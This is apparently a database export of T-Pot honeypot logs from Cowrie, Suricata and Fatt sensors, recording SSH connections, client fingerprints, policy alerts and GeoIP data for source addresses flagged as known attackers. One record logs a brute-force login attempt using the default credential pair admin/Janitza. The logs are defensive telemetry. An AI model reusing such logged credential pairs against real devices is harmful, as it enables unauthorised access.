"192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29833	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:30:08.021178+03	2021-09-20 14:45:02.228142+03	{"_id": "jAb4AnwBvYTbRNuEbzhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.failed", "message": "login attempt [admin/Janitza] failed", "session": "95535494dbed", "@version": "1", "password": "Janitza", "username": "admin", "timestamp": "2021-09-20T11:30:08.021178Z", "@timestamp": "2021-09-20T11:30:08.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29834	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:30:08.108902+03	2021-09-20 14:45:02.229142+03	{"_id": "jgb4AnwBvYTbRNuEcTgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 1822435972169216, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35212, "dest_port": 22, "timestamp": "2021-09-20T11:30:08.108902Z", "@timestamp": "2021-09-20T11:30:08.108Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29835	5.188.62.219	109.199.241.180	Suricata	2021-09-20 14:30:09.043322+03	2021-09-20 14:45:02.230141+03	{"_id": "mwb4AnwBvYTbRNuEdTgE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:30:08.851898+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 284}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1994550344220602, "payload": "U1NILTIuMC1Hbw0K", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59944, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:30:09.043322Z", "@timestamp": "2021-09-20T11:30:09.043Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-Go\\r\\n"}}	1	\N	\N	alert	\N	\N
29836	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:30:09.045061+03	2021-09-20 14:45:02.231142+03	{"_id": "nAb4AnwBvYTbRNuEdjgu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.219", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59944, "timestamp": "2021-09-20T11:30:09.045061", "@timestamp": "2021-09-20T11:30:09.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29837	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:30:10.591614+03	2021-09-20 14:45:02.232143+03	{"_id": "pgb4AnwBvYTbRNuEezgp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:37050 (192.168.176.2:22) [session: 851689264013]", "session": "851689264013", "@version": "1", "protocol": "ssh", "src_port": 37050, "dest_port": 22, "timestamp": "2021-09-20T11:30:10.591614Z", "@timestamp": "2021-09-20T11:30:10.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29838	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:30:10.731972+03	2021-09-20 14:45:02.234141+03	{"_id": "pwb4AnwBvYTbRNuEezgp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "851689264013", "@version": "1", "timestamp": "2021-09-20T11:30:10.731972Z", "@timestamp": "2021-09-20T11:30:10.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29839	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:30:10.730023+03	2021-09-20 14:45:02.235142+03	{"_id": "qQb4AnwBvYTbRNuEfDjV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 58759191917815, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37050, "dest_port": 22, "timestamp": "2021-09-20T11:30:10.730023Z", "@timestamp": "2021-09-20T11:30:10.730Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29840	159.253.30.249	109.199.241.180	Fatt	2021-09-20 14:30:07.680675+03	2021-09-20 14:45:02.236143+03	{"_id": "ewb4AnwBvYTbRNuEbjhd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 32800, "dest_port": 22, "timestamp": "2021-09-20T11:30:07.680675", "@timestamp": "2021-09-20T11:30:07.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29841	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:30:07.640033+03	2021-09-20 14:45:02.237142+03	{"_id": "iQb4AnwBvYTbRNuEbzhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:35212 (192.168.176.2:22) [session: b422715889bc]", "session": "b422715889bc", "@version": "1", "protocol": "ssh", "src_port": 35212, "dest_port": 22, "timestamp": "2021-09-20T11:30:07.640033Z", "@timestamp": "2021-09-20T11:30:07.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29842	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:30:08.108714+03	2021-09-20 14:45:02.239142+03	{"_id": "jwb4AnwBvYTbRNuEcTgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:30:07.540160+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1822435972169216, "payload": "U1NILTIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35212, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:30:08.108714Z", "@timestamp": "2021-09-20T11:30:08.108Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	\N
29843	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:30:04.70125+03	2021-09-20 14:45:02.240142+03	{"_id": "eAb4AnwBvYTbRNuEZThh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "authorization": "Token 1234567890", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 1853984654049352, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 57028, "dest_port": 8000, "timestamp": "2021-09-20T11:30:04.701250Z", "@timestamp": "2021-09-20T11:30:04.701Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
29844	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:30:07.680675+03	2021-09-20 14:45:02.241142+03	{"_id": "egb4AnwBvYTbRNuEbTgx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:30:07.569143+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 46329556348727, "payload": "AAADzAYUK3/gV89CxaO3qc2ayUZC8QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32800, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:30:07.680675Z", "@timestamp": "2021-09-20T11:30:07.680Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......+..W.B.......FB....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29845	78.83.66.198	109.199.241.180	Suricata	2021-09-20 14:30:04.70125+03	2021-09-20 14:45:02.243142+03	{"_id": "dwb4AnwBvYTbRNuEZThh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "78.83.66.198", "asn": 29580, "as_org": "Mobiltel Ead", "latitude": 42.683, "location": {"lat": 42.683, "lon": 23.3175}, "timezone": "Europe/Sofia", "city_name": "Sofia", "longitude": 23.3175, "postal_code": "1000", "region_code": "22", "region_name": "Sofia-Capital", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "src_ip": "78.83.66.198", "dest_ip": "192.168.20.116", "flow_id": 1853984654049352, "@version": "1", "fileinfo": {"md5": "3c3f2943d4337318cf737f45d5b564cd", "gaps": false, "size": 6, "magic": "ASCII text, with no line terminators", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/API/post"}, "in_iface": "enp5s0", "src_port": 8000, "app_proto": "http", "dest_port": 57028, "timestamp": "2021-09-20T11:30:04.701250Z", "@timestamp": "2021-09-20T11:30:04.701Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
29846	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:30:07.680532+03	2021-09-20 14:45:02.244143+03	{"_id": "eQb4AnwBvYTbRNuEbTgx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 46329556348727, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32800, "dest_port": 22, "timestamp": "2021-09-20T11:30:07.680532Z", "@timestamp": "2021-09-20T11:30:07.680Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
